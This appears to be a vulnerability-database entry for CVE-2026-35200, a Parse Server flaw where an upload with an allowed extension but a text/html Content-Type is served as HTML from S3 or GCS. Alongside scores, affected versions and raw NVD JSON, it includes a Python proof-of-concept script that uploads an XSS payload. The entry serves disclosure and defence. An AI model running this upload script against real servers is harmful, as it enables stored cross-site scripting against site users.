CVE-2026-35200

Description

Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to 8.6.73 and 9.7.1-alpha.4, a file can be uploaded with a filename extension that passes the file extension allowlist (e.g., .txt) but with a Content-Type header that differs from the extension (e.g., text/html). The Content-Type is passed to the storage adapter without consistency validation. Storage adapters that store and serve the provided Content-Type (such as S3 or GCS) serve the file with the mismatched Content-Type. The default GridFS adapter is not affected because it derives Content-Type from the filename at serving time. This vulnerability is fixed in 8.6.73 and 9.7.1-alpha.4.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:parseplatform:parse-server:*:*:*:*:*:node.js:*:* - VULNERABLE

cpe:2.3:a:parseplatform:parse-server:9.7.1:alpha1:*:*:*:node.js:*:* - VULNERABLE

cpe:2.3:a:parseplatform:parse-server:9.7.1:alpha2:*:*:*:node.js:*:* - VULNERABLE

cpe:2.3:a:parseplatform:parse-server:9.7.1:alpha3:*:*:*:node.js:*:* - VULNERABLE

Parse Server < 8.6.73

Parse Server < 9.7.1-alpha.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL for Parse Server file upload
target_url = "http://target-server.com/parse/files/fileRole"

# Headers simulating the exploit
headers = {
    "X-Parse-Application-Id": "YOUR_APP_ID",
    "X-Parse-REST-API-Key": "YOUR_REST_KEY",
    "Content-Type": "text/html"  # Mismatched Content-Type
}

# File content containing malicious script
# The filename has a .txt extension which might be allowed
file_content = "<html><script>alert('XSS');</script></html>"
files = {
    'file': ('exploit.txt', file_content, 'text/html')
}

try:
    response = requests.post(target_url, headers=headers, files=files)
    if response.status_code == 201:
        print("[+] File uploaded successfully.")
        print("[+] URL:", response.json().get('url'))
    else:
        print("[-] Upload failed.")
except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-35200
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-35200
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-35200/
[4] VulDB https://vuldb.com/cve/CVE-2026-35200
[5] https://github.com/parse-community/parse-server/pull/10383
[6] https://github.com/parse-community/parse-server/pull/10384
[7] https://github.com/parse-community/parse-server/security/advisories/GHSA-vr5f-2r24-w5hc

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-35200", "sourceIdentifier": "[email protected]", "published": "2026-04-06T20:16:27.720", "lastModified": "2026-04-07T18:01:08.000", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to 8.6.73 and 9.7.1-alpha.4, a file can be uploaded with a filename extension that passes the file extension allowlist (e.g., .txt) but with a Content-Type header that differs from the extension (e.g., text/html). The Content-Type is passed to the storage adapter without consistency validation. Storage adapters that store and serve the provided Content-Type (such as S3 or GCS) serve the file with the mismatched Content-Type. The default GridFS adapter is not affected because it derives Content-Type from the filename at serving time. This vulnerability is fixed in 8.6.73 and 9.7.1-alpha.4."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-436"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "8.6.73", "matchCriteriaId": "F448C862-A7B1-4475-85E1-48755F259577"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "9.0.0", "versionEndExcluding": "9.7.1", "matchCriteriaId": "EF03C109-6DCF-4359-A9EC-44C14A80B9FA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.7.1:alpha1:*:*:*:node.js:*:*", "matchCriteriaId": "4F96BFE1-E9D0-4D78-BD1A-1AE1259F3FF9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.7.1:alpha2:*:*:*:node.js:*:*", "matchCriteriaId": "C80914A3-E910-4C75-A542-768711DF429D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.7.1:alpha3:*:*:*:node.js:*:*", "matchCriteriaId": "88D6D996-366F-4683-A60A-ADFAD1909EBD"}]}]}], "references": [{"url": "https://github.com/parse-community/parse-server/pull/10383", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/parse-community/parse-server/pull/10384", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/parse-community/parse-server/security/advisories/GHSA-vr5f-2r24-w5hc", "source": "[email protected]", "tags": ["Mitigation", "Patch", "Vendor Advisory"]}]}}